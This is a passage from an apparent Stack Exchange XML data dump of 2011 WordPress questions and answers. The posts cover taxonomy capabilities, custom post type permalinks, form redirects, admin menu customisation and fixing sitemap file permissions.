href=&quot;http://codex.wordpress.org/Function_Reference/add_action&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_action&lt;/code&gt;&lt;/a&gt; calls to the following should fix it..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('game_edit_form_fields', 'game_form_fields', 10, 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Follow-up #1&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Maybe the hook isn't passing a second variable, instead of the previous change, try update the function line to read..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function game_form_fields( $tag ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps that will fix it..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-09T17:35:12.790" LastActivityDate="2011-04-09T17:35:12.790" CommentCount="6" />
  <row Id="14369" PostTypeId="2" ParentId="14344" CreationDate="2011-04-09T17:08:46.170" Score="2" ViewCount="" Body="&lt;p&gt;If you're adding terms into the taxonomy independantly and you want to hide the UI, why not simply use two of &lt;code&gt;register_taxonomy&lt;/code&gt;'s supported arguments.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;capabilities&lt;/strong&gt;&lt;br&gt;&#xA;  (array) (optional) An&#xA;  array of the capabilities for this&#xA;  taxonomy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Default: None &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;'manage_terms' - 'manage_categories'&lt;br&gt;&#xA;   'edit_terms' - 'manage_categories'&lt;br&gt;&#xA;   'delete_terms' - 'manage_categories'&lt;br&gt;&#xA;   'assign_terms' - 'edit_posts'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;show_ui&lt;/strong&gt;&lt;br&gt;&#xA;  (boolean) (optional) Whether to generate a default UI for&#xA;  managing this taxonomy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Default: if not set, defaults to value of public argument &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Set the capabilities to some nonexistent capabilities and you'll essentially prevent users from being able to modify, create or delete them. If you need to be able to assign them to posts the traditional way(ie. via the post editor), simply use a real capability for the &lt;code&gt;assign_terms&lt;/code&gt; value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;&#xA;....&#xA;&#xA;    'capabilities' =&amp;gt; array(&#xA;        'manage_terms' =&amp;gt; 'foobar',&#xA;        'edit_terms'   =&amp;gt; 'foobar',&#xA;        'delete_terms' =&amp;gt; 'foobar',&#xA;        'assign_terms' =&amp;gt; 'foobar' // &amp;lt;-- change this one to a desired cap if you need to be able to assign them(you could use manage_options for admins only)&#xA;    ),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;show_ui&lt;/code&gt; to false and you'll prevent any menu items being shown for the taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps...&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-10T09:32:02.707" LastActivityDate="2011-04-10T09:32:02.707" CommentCount="1" />
  <row Id="14370" PostTypeId="1" AcceptedAnswerId="14404" CreationDate="2011-04-09T17:16:22.907" Score="2" ViewCount="157" Body="&lt;p&gt;Just wondering if anyone had tried using any of the structure tags available to post permalinks with custom post types... I'm moving my &quot;listings&quot; posts on a site I manage from a category hack under Posts to their own custom post type, but I'd like to still keep some sort of numeric date reference in the permalink structure. How difficult is that to set up?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-04-11T05:19:28.583" Title="Can /%year%/%monthnum%/%day%/ structure tags be added to custom post type permalinks?" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="14371" PostTypeId="1" CreationDate="2011-04-09T17:28:02.560" Score="0" ViewCount="68" Body="&lt;p&gt;I'd like some posts to look different from others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress let's me easily switch themes for pages, but not posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin that will let me do that for posts?&lt;/p&gt;&#xA;" OwnerUserId="2115" LastActivityDate="2011-04-10T17:23:47.883" Title="How can I change the theme of different posts using a plugin?" Tags="&lt;theme-development&gt;&lt;themes&gt;&lt;theme-options&gt;" AnswerCount="2" />
  <row Id="14373" PostTypeId="2" ParentId="14370" CreationDate="2011-04-09T17:56:39.987" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you should be able to use date based URLs by using the &lt;code&gt;permalink_epmask&lt;/code&gt; parameter with your &lt;code&gt;register_post_type&lt;/code&gt; call..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'wpse14370_custom_init');&#xA;function wpse14370_custom_init() {&#xA;    $args = array(&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true, &#xA;        'show_in_menu' =&amp;gt; true, &#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'has_archive' =&amp;gt; true, &#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'permalink_epmask' =&amp;gt; EP_DATE,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','excerpt','comments')&#xA;  ); &#xA;  register_post_type('book',$args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure exactly how custom endpoints work, but it's supported according to the codex page.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And because it's not documented, here's all the possible endpoint values(though i don't know specifically which are supported with custom post types)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EP_NONE&#xA;EP_PERMALINK&#xA;EP_ATTACHMENT&#xA;EP_DATE&#xA;EP_YEAR&#xA;EP_MONTH&#xA;EP_DAY&#xA;EP_ROOT&#xA;EP_COMMENTS&#xA;EP_SEARCH&#xA;EP_CATEGORIES&#xA;EP_TAGS&#xA;EP_AUTHORS&#xA;EP_PAGES&#xA;EP_ALL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work correctly, maybe just setting &lt;code&gt;with_front&lt;/code&gt; to true will be enough if you're already using date based permalinks.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-04-09T17:56:39.987" CommentCount="4" />
  <row Id="14374" PostTypeId="2" ParentId="14371" CreationDate="2011-04-09T19:55:19.920" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-post-template/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-09T19:55:19.920" CommentCount="4" />
  <row Id="14375" PostTypeId="2" ParentId="11625" CreationDate="2011-04-09T19:56:59.297" Score="1" ViewCount="" Body="&lt;p&gt;If you &lt;code&gt;return false&lt;/code&gt; in that Javascript function the click will not be propagated and the page will also not reload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better, &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.1/wp-includes/class-wp-admin-bar.php#L51&quot; rel=&quot;nofollow&quot;&gt;you can specify a &lt;code&gt;onclick&lt;/code&gt; attribute for a menu item&lt;/a&gt;. So you definition would become this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_admin_bar_class_switch( &amp;amp;$wp_admin_bar ) {&#xA;    // $wp_admin_bar is passed by reference, you don't need the global var&#xA;    $wp_admin_bar-&amp;gt;add_menu( &#xA;        array( &#xA;             'parent'   =&amp;gt; 'theme_options'&#xA;            ,'title'    =&amp;gt; __( 'showdebug', AHF_LANG )&#xA;            ,'href'     =&amp;gt; '' // This can stay empty&#xA;            ,'meta'     =&amp;gt; array(&#xA;                'onclick' =&amp;gt; 'jQuery(&quot;.wrap&quot;).toggleClass(&quot;showdebug&quot;); return false;'&#xA;            )&#xA;        ) &#xA;    );&#xA;}&#xA;add_action( 'admin_bar_menu', 'my_admin_bar_class_switch', 70 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In that case you don't need to hook up the &lt;code&gt;onclick&lt;/code&gt; event yourself. I see two other possible errors there: &lt;code&gt;wp_head&lt;/code&gt; is an action, not a filter, so by returning the script it won't be printed. Also, you depend on &lt;code&gt;showdebug&lt;/code&gt; being part of the &lt;code&gt;id&lt;/code&gt;, but because you don't specify the ID it is generated from the title. If that string is translated this ID won't stay the same.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-09T20:02:13.707" LastActivityDate="2011-04-09T20:02:13.707" CommentCount="5" />
  <row Id="14376" PostTypeId="1" AcceptedAnswerId="14380" CreationDate="2011-04-09T20:04:35.717" Score="0" ViewCount="207" Body="&lt;p&gt;I'm using CF7 to send some information to my email and everything's working fine, but I need to redirect the users to a different page after the email has been sent, by default the forms are sent to the same page via ajax, I was thinking about setting a hidden field with the page url but since the form submits asynchronously I don't know how to set it in my page template. If the form was submitted normaly I'd do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_REQUEST['hidden_field_url']) {&#xA;    wp_redirect($_REQUEST['hidden_field_url']);&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So is there any way to send the form without ajax? Or maybe do what I need in any other way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-04-09T21:21:00.940" Title="Redirect to another page using contact form 7?" Tags="&lt;3.1&gt;&lt;ajax&gt;&lt;form&gt;&lt;contact-form-7&gt;&lt;plugin-contact-form-7&gt;" AnswerCount="2" />
  <row Id="14378" PostTypeId="2" ParentId="14376" CreationDate="2011-04-09T20:15:16.893" Score="1" ViewCount="" Body="&lt;p&gt;In your jQuery AJAX call you should add some javascript to redirect the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.replace(&quot;http://wordpress.stackexchange.com&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1769" LastActivityDate="2011-04-09T20:15:16.893" CommentCount="1" />
  <row Id="14379" PostTypeId="2" ParentId="14363" CreationDate="2011-04-09T20:38:47.850" Score="2" ViewCount="" Body="&lt;p&gt;The Wordpress editor has poor handling of iFrames or advanced HTML when switching between the HTML and Visual editor (I've experienced this problem many times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to either add a page template (page-{id}.php) with the iframe, or to use a plugin that adds iFrame shortcodes like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/easy-iframe-loader/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/easy-iframe-loader/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be especially useful in an environment with non-technical people editing the posts.&lt;/p&gt;&#xA;" OwnerUserId="1769" LastEditorUserId="1769" LastEditorDisplayName="" LastEditDate="2011-04-09T20:44:07.770" LastActivityDate="2011-04-09T20:44:07.770" CommentCount="1" />
  <row Id="14380" PostTypeId="2" ParentId="14376" CreationDate="2011-04-09T21:21:00.940" Score="2" ViewCount="" Body="&lt;p&gt;Got it, needed to add this to the additional settings option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;on_sent_ok: &quot;location = 'http://www.url.com';&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-04-09T21:21:00.940" />
  <row Id="14381" PostTypeId="2" ParentId="589" CreationDate="2011-04-09T21:37:29.693" Score="0" ViewCount="" Body="&lt;p&gt;I Highly recommend the Genesis Framework, it is a premium framework but with a fantastic support base.&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2011-04-09T21:37:29.693" />
  <row Id="14382" PostTypeId="1" AcceptedAnswerId="14385" CreationDate="2011-04-09T22:04:39.383" Score="0" ViewCount="96" Body="&lt;p&gt;After installing wordpress and some plugins i am getting this error when i create a sitemap. I realy have no idea what this is and how to solve. Any help would realy be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: file_put_contents(/home/ugywhzos/domains/mydomain.com/public_html/sitemap.xml) [function.file-put-contents]: failed to open stream: Permission denied in /home/ugywhzos/domains/ipadkopen.biz/public_html/wp-content/plugins/simple-google-sitemap/simple-google-sitemap.php on line 283&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And this error after editing a post:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: file_put_contents(/home/ugywhzos/domains/mydomain.com/public_html/sitemap.xml) [function.file-put-contents]: failed to open stream: Permission denied in /home/ugywhzos/domains/mydomain.com/public_html/wp-content/plugins/simple-google-sitemap/simple-google-sitemap.php on line 283&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: Cannot modify header information - headers already sent by (output started at /home/ugywhzos/domains/mydomain/public_html/wp-content/plugins/simple-google-sitemap/simple-google-sitemap.php:283) in /home/ugywhzos/domains/mydomain.com/public_html/wp-includes/pluggable.php on line 897&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2293" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-10T10:35:11.527" LastActivityDate="2011-04-10T10:35:11.527" Title="What is this error message?" Tags="&lt;php&gt;&lt;permalinks&gt;&lt;permissions&gt;&lt;troubleshooting&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14383" PostTypeId="1" CreationDate="2011-04-09T22:39:04.383" Score="0" ViewCount="167" Body="&lt;p&gt;I have Multisite enabled and can only view my site with the &quot;www&quot;. When I try without the &quot;www&quot; it sends me to the sign-up page and says 'Registration has been disabled.'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/portfolio  &amp;lt;-- load correctly&#xA;domain.com/portfolio      &amp;lt;-- redirects to sign-up page&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried NOBLOGREDIRECT, but nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('NOBLOGREDIRECT', 'http://www.domain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In .htaccess, I've also tried the following with no success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^.domain.com$ [NC]&#xA;RewriteRule ^(.*)$ http://domain.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get my site viewable with and without the &quot;www.&quot; in the domain?&lt;/p&gt;&#xA;" OwnerUserId="4560" LastActivityDate="2011-08-22T01:40:53.183" Title="Multisite non-www domain redirects to sign-up" Tags="&lt;3.0&gt;&lt;multisite&gt;&lt;redirect&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="14384" PostTypeId="2" ParentId="14358" CreationDate="2011-04-09T23:13:18.867" Score="1" ViewCount="" Body="&lt;p&gt;I Think there is no hooks that I can find to remove those areas without touching the core files..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can remove parts of the admin areas using this functions and with some css help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To hide Menus&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// remove unnecessary menus  &#xA;function remove_admin_menus () {  &#xA;    global $menu;  &#xA;    // all users  &#xA;    $restrict = explode(',', 'Links,Comments');  &#xA;    // non-administrator users  &#xA;    $restrict_user = explode(',', 'Media,Profile,Appearance,Plugins,Users,Tools,Settings,Dashboard,Posts,Pages');  &#xA;    // WP localization  &#xA;    $f = create_function('$v,$i', 'return __($v);');  &#xA;    array_walk($restrict, $f);  &#xA;    if (!current_user_can('activate_plugins')) {  &#xA;        array_walk($restrict_user, $f);  &#xA;        $restrict = array_merge($restrict, $restrict_user);  &#xA;    }  &#xA;    // remove menus  &#xA;    end($menu);  &#xA;    while (prev($menu)) {  &#xA;        $k = key($menu);  &#xA;        $v = explode(' ', $menu[$k][0]);  &#xA;        if(in_array(is_null($v[0]) ? '' : $v[0] , $restrict)) unset($menu[$k]);  &#xA;    }  &#xA;}  &#xA;add_action('admin_menu', 'remove_admin_menus');  &#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Brand your Header&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**REPLACE WP LOGO**/&#xA;function custom_admin_css() {&#xA;echo '&amp;lt;link rel=&quot;stylesheet&quot; id=&quot;custom_admin&quot; type=&quot;text/css&quot; href=&quot;' . get_bloginfo('template_directory') . '/custom/custom_admin.css&quot; /&amp;gt;';&#xA;}&#xA;&#xA;add_action('admin_head','custom_admin_css');&#xA;/**END REPLACE WP LOGO**/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And create a custom_admin.css file with this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#header-logo {background-image: url(images/client_logo.jpg);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To modify Header Menu&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Edit Top Menu&#xA;function custom_favorite_actions($actions) {&#xA;  unset($actions['edit-comments.php']); //remove Comments from menu&#xA;  unset($actions['media-new.php']); // remove Upload media menu&#xA;  unset($actions['post-new.php?post_type=page']); // Remove options/menu for new pages&#xA;&#xA;  return $actions;&#xA;}&#xA;&#xA;add_filter('favorite_actions', 'custom_favorite_actions');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Replace the footer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**REPLACE FOOTER TEXT**/&#xA;function filter_footer_admin() { ?&amp;gt;&#xA;Created by &amp;lt;a href=&quot;#&quot;&amp;gt;Your Company&amp;lt;/a&amp;gt; | Built with &amp;lt;a href=&quot;http://wordpress.org&quot;&amp;gt;WordPress&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php }&#xA;&#xA;add_filter('admin_footer_text', 'filter_footer_admin');&#xA;/**END REPLACE FOOTER TEXT**/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3022" LastEditorUserId="3022" LastEditorDisplayName="" LastEditDate="2011-04-09T23:40:50.493" LastActivityDate="2011-04-09T23:40:50.493" CommentCount="4" />
  <row Id="14385" PostTypeId="2" ParentId="14382" CreationDate="2011-04-09T23:15:35.427" Score="1" ViewCount="" Body="&lt;p&gt;If you already have the files &lt;code&gt;sitemap.xml&lt;/code&gt; and (if you have gzip enabled in Simple Google Sitemap) &lt;code&gt;sitemap.xml.gz&lt;/code&gt; in the root directory of your WordPress installation, try deleting them and create new empty files with the correct permissions for that plugin, then manually run the sitemap generator.  If these files don't exist, try creating the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how I would do it:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure &lt;code&gt;sitemap.xml&lt;/code&gt; and &lt;code&gt;sitemap.xml.gz&lt;/code&gt; don't exist in the root directory of your WordPress installation. If they do, delete them with &lt;code&gt;rm sitemap.xml&lt;/code&gt; and &lt;code&gt;rm sitemap.xml.gz&lt;/code&gt; over SSH, or just delete them through your FTP client of choice.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create two new blank instances of these files. Over SSH: &lt;code&gt;touch sitemap.xml&lt;/code&gt; and &lt;code&gt;touch sitemap.xml.gz&lt;/code&gt;. If you're doing this over FTP (I'll use &lt;a href=&quot;http://winscp.net/eng/index.php&quot; rel=&quot;nofollow&quot;&gt;WinSCP&lt;/a&gt; in this example, it's free), navigate to your root WordPress directory, right click, select New --&gt; File and type &lt;code&gt;sitemap.xml&lt;/code&gt; and &lt;code&gt;sitemap.xml.gz&lt;/code&gt;, respectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the file permissions of these files. I'd try 755 to start, but there may be a recommended value somewhere in this plugin's documentation. Over SSH: &lt;code&gt;chmod 755 sitemap.xml&lt;/code&gt; and &lt;code&gt;chmod 755 sitemap.xml.gz&lt;/code&gt;. If you're using FTP with WinSCP, right click the files, select Properties, and set the value of Octal to 0755 for each.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the Simple Google Sitemap settings (it's listed as XML-Sitemap in the WordPress settings menu), click the link &quot;rebuild the sitemap&quot; and see if it can now generate the sitemaps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If I was to take a guess, I'd say both of those files don't exist right now and the Simple XML Sitemap plugin doesn't have permissions to create new files on your web server. Please let me know how it goes.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-09T23:15:35.427" CommentCount="1" />
  <row Id="14387" PostTypeId="1" AcceptedAnswerId="14389" CreationDate="2011-04-10T01:24:15.617" Score="0" ViewCount="76" Body="&lt;p&gt;Hey Guys,&#xA;I'm using a meta box to store a bunch of page ID's. When I try to pass the page ID's to the post__in parameter of WP_Query it doesn't work becuase the metabox comes throug as a string, when it needs to be a comma separated integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, say the &quot;relatedpages&quot; meta box contains: 55, 33, 22&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$relatedpages = get_post_meta($post-&amp;gt;ID, 'relatedpages', true);&#xA;&#xA;$args = array(&#xA;    'post_type'         =&amp;gt; 'page',&#xA;    'posts_per_page'    =&amp;gt; -1,&#xA;    'order'         =&amp;gt; 'ASC',&#xA;    'orderby'       =&amp;gt; 'menu_order',&#xA;    'post__in'      =&amp;gt; array($relatedpages)&#xA;    );&#xA;&#xA;$myposts = get_posts($args);&#xA;echo $myposts;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that $related pages is now &quot;55, 33, 22&quot; rather than 55, 33, 22&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I overcome this? Is there a way to store just the integers in the meta box, rather than converting them to a string?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Drew&lt;/p&gt;&#xA;" OwnerUserId="4562" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-04-10T05:25:04.310" LastActivityDate="2011-04-18T17:28:07.010" Title="Passing meta_box string to post__in?" Tags="&lt;custom-field&gt;&lt;wp-query&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="14388" PostTypeId="1" AcceptedAnswerId="14395" CreationDate="2011-04-10T01:51:09.617" Score="0" ViewCount="62" Body="&lt;p&gt;I'm finding that &lt;a href=&quot;http://seomoz.org&quot; rel=&quot;nofollow&quot;&gt;SEOmoz&lt;/a&gt; is showing page titles with ASCII when indexing my customer's site &lt;a href=&quot;http://bulldogfencespokane.com&quot; rel=&quot;nofollow&quot;&gt;http://bulldogfencespokane.com&lt;/a&gt;. I'm concerned that this is how search engines will index the site. I'd love to remove commas and apostrophes but it would change the sentence structure entirely. Is there a way to clear up this formatting?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Spokane &amp;amp;amp; Coeur d&amp;amp;#039;Alene&amp;amp;#039;s top fencing installers - Bulldog Fences Inc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ou64D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-04-10T03:24:05.943" LastActivityDate="2011-04-10T05:52:32.187" Title="ASCII titles with Yoast SEO plugin" Tags="&lt;seo&gt;&lt;title&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="14389" PostTypeId="2" ParentId="14387" CreationDate="2011-04-10T02:03:58.477" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;'post__in'      =&amp;gt; explode( ',', $relatedpages )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-10T02:03:58.477" CommentCount="2" />
  <row Id="14390" PostTypeId="2" ParentId="14331" CreationDate="2011-04-10T02:16:13.580" Score="0" ViewCount="" Body="&lt;p&gt;I was unable to make the get_terms arguments to work with Gavin's version of the code above, but finally did by changing&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms2 = get_terms( $taxonomy );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms2 = get_terms( $taxonomy, $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as it was in the original function from Bainternet.&lt;/p&gt;&#xA;" OwnerUserId="4548" LastActivityDate="2011-04-10T02:16:13.580" CommentCount="1" />
  <row Id="14391" PostTypeId="2" ParentId="14143" CreationDate="2011-04-10T03:57:59.753" Score="2" ViewCount="" Body="&lt;p&gt;After a few &lt;code&gt;var_dumps&lt;/code&gt; I know this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) When wp_list_bookmarks is called whithin WP_Widget_Links-&gt;widget&#xA;The &lt;code&gt;'class'&lt;/code&gt; parameter is ignored because the &lt;code&gt;'category_before'&lt;/code&gt; parameter&#xA;doesn't have the &lt;code&gt;%class&lt;/code&gt; wildcard. Instead &lt;code&gt;'category_before'&lt;/code&gt; will&#xA;look as if 'class' where &lt;code&gt;'widget_links'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the function dynamic_sidebar set the $before_widget parameters &#xA;for the widget once it gets called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this can be altered by filters like &lt;code&gt;'widget_links_args'&lt;/code&gt; or &lt;code&gt;'dynamic_sidebar_params'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) On many themes in order to present default widgets the wp_list_bookmarks is called&#xA;but with zero parameters then the default values are used as defined in bookmark-template.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('class' =&amp;gt; 'linkcat','category_before' =&amp;gt; '&amp;lt;li id=&quot;%id&quot; class=&quot;%class&quot;&amp;gt;')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this happen even when the sidebar is registered using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;('before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget %2$s&quot;&amp;gt;')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which can let to a little inconsistence because WP_Widget_Links &#xA;&lt;code&gt;'category_before'&lt;/code&gt; parameter is initially borrow from sidebar &lt;code&gt;'before_widget'&lt;/code&gt; &#xA;parameter.&lt;/p&gt;&#xA;" OwnerUserId="3827" LastEditorUserId="3827" LastEditorDisplayName="" LastEditDate="2011-04-10T04:30:09.260" LastActivityDate="2011-04-10T04:30:09.260" />
  <row Id="14393" PostTypeId="2" ParentId="14365" CreationDate="2011-04-10T04:55:25.250" Score="0" ViewCount="" Body="&lt;p&gt;Strange. I copied one of the links and watched for a redirect, but it didn't happen. I also noted that the &lt;code&gt;/wp-admin&lt;/code&gt; link worked correctly. My gut says there may be a plugin involved with this. You might also want to check how you have permalinks set up.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-04-10T04:55:25.250" CommentCount="3" />
  <row Id="14394" PostTypeId="2" ParentId="14382" CreationDate="2011-04-10T05:47:35.857" Score="0" ViewCount="" Body="&lt;p&gt;This error message comes when your php script does not have the write permissions for a folder. Best way to resolve this issue would be to ask your hosting provider to set the proper permissions for user under which your webserver is running.&lt;/p&gt;&#xA;" OwnerUserId="4528" LastActivityDate="2011-04-10T05:47:35.857" />
